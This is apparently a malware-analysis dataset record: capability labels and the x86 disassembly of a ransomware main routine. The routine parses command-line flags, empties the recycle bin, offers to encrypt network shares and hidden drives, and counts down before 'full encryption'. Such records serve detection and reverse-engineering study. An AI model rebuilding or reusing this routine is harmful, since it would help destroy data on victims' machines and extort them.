Function at 0x407dc0
Capabilities:
Accept command line arguments
Create new key via cryptacquirecontext
Empty the recycle bin

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push 0xf0000000
push 0x18
push 0
push 0
push eax
mov dword [ebp - 8], 0
call esi
test eax, eax
jne 0x407e0b
push 0xf0000008
push 0x18
push eax
push eax
lea eax, [ebp - 8]
push eax
call esi
neg eax
sbb eax, eax
and eax, dword [ebp - 8]
jmp 0x407e0e
mov eax, dword [ebp - 8]
mov dword [0x424274], eax
test eax, eax
je 0x40825a
push ebx
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 7
push 0
push 0
mov ebx, eax
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov esi, dword [ebp - 0xc]
cmp esi, 1
jle 0x407ec5
lea ecx, [esi - 1]
push ecx
push str.___Count_of_arguments:__d_n
call fcn.00404800
mov esi, 1
add esp, 8
cmp dword [ebp - 0xc], esi
jle 0x407e7d
push dword [ebx + esi*4]
push esi
push str._____d___s_n
call fcn.00404800
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0xc]
jl 0x407e66
push 0x421510
call fcn.00404800
mov esi, dword [ebp - 0xc]
add esp, 4
cmp esi, 1
jle 0x407ec5
mov edi, 1
nop word [eax + eax]
push 0x421514
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x407ebd
lea eax, [edi + 1]
cmp eax, esi
jl 0x40803a
inc edi
cmp edi, esi
jl 0x407ea0
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 8], eax
cmp esi, 1
jle 0x407f05
mov edi, 1
nop dword [eax]
nop dword [eax + eax]
push str.__dir
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x407efd
lea eax, [edi + 1]
cmp eax, esi
jl 0x408046
inc edi
cmp edi, esi
jl 0x407ee0
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp esi, 1
jle 0x407f3e
mov edi, 1
nop dword [eax]
nop dword [eax + eax]
push str.__sup
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408052
inc edi
cmp edi, esi
jl 0x407f20
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x424270], eax
cmp esi, 1
jle 0x407f6e
mov edi, 1
nop
push str.__ens
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40805f
inc edi
cmp edi, esi
jl 0x407f50
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x42427c], eax
cmp esi, 1
jle 0x407f9e
mov edi, 1
nop
push str.__lhd
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40806c
inc edi
cmp edi, esi
jl 0x407f80
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x424278], eax
cmp esi, 1
jle 0x407fcb
mov edi, 1
nop
push str.__debug
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408079
inc edi
cmp edi, esi
jl 0x407fb0
xor eax, eax
mov dword [0x424268], eax
call fcn.00405540
call fcn.00406370
mov esi, dword [ebp - 8]
test esi, esi
je 0x408001
cmp dword [0x424268], 0
je 0x407ffa
push esi
push str.___Start_encryption_of:__s_n
call fcn.00404800
add esp, 8
mov ecx, esi
call fcn.004057c0
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4080a6
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x2f
je 0x408083
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x5c
je 0x408083
push str.____Please__add_____to_the_end_of_directory__n
call fcn.00404800
add esp, 4
jmp 0x40823e
mov eax, dword [ebx + edi*4 + 4]
mov esi, dword [ebp - 0xc]
jmp 0x407ec7
mov eax, dword [ebx + edi*4 + 4]
mov esi, dword [ebp - 0xc]
jmp 0x407f07
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407f40
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407f70
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407fa0
mov eax, 1
jmp 0x407fcd
cmp dword [0x424268], 0
je 0x40809a
push ebx
push str.___Start_encryption_of_directory:__s_n
call fcn.00404800
add esp, 8
mov ecx, ebx
call fcn.004049a0
jmp 0x40823e
test esi, esi
jne 0x408241
mov eax, dword [0x424268]
test eax, eax
je 0x40815d
push str.___Settings:_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 4
test eax, eax
je 0x40815d
cmp dword [0x424270], 0
mov esi, 0x421670
mov eax, esi
mov edi, 0x421674
cmove eax, edi
push eax
push 0x421678
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40815d
cmp dword [0x42427c], 0
mov eax, esi
cmove eax, edi
push eax
push str._____s__Encrypt_network_shares_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40815d
cmp dword [0x424278], 0
cmove esi, edi
push esi
push str._____s__Load_hidden_drives_n_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40815d
push 0x421670
push str._____s__Debug_n_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
cmp dword [0x424278], 0
je 0x408181
test eax, eax
je 0x408177
push str.___Loading_hidden_drives..._n
call fcn.00404800
add esp, 4
call fcn.00404ff0
mov eax, dword [0x424268]
test eax, eax
je 0x408192
push str.___Starting_full_encryption_in_5s
call fcn.00404800
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081b5
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081d2
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081ef
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x40820c
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x408229
push 0x4217d0
call fcn.00404800
add esp, 4
call fcn.00404ee0
cmp dword [0x42427c], 0
je 0x40823e
xor ecx, ecx
call fcn.00404d90
mov esi, dword [ebp - 8]
call fcn.004055e0
pop edi
test ebx, ebx
pop ebx
jne 0x40825a
test esi, esi
jne 0x40825a
call fcn.00405fd0
call fcn.00405d90
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0040826b
mov esp, ebp
pop ebp
ret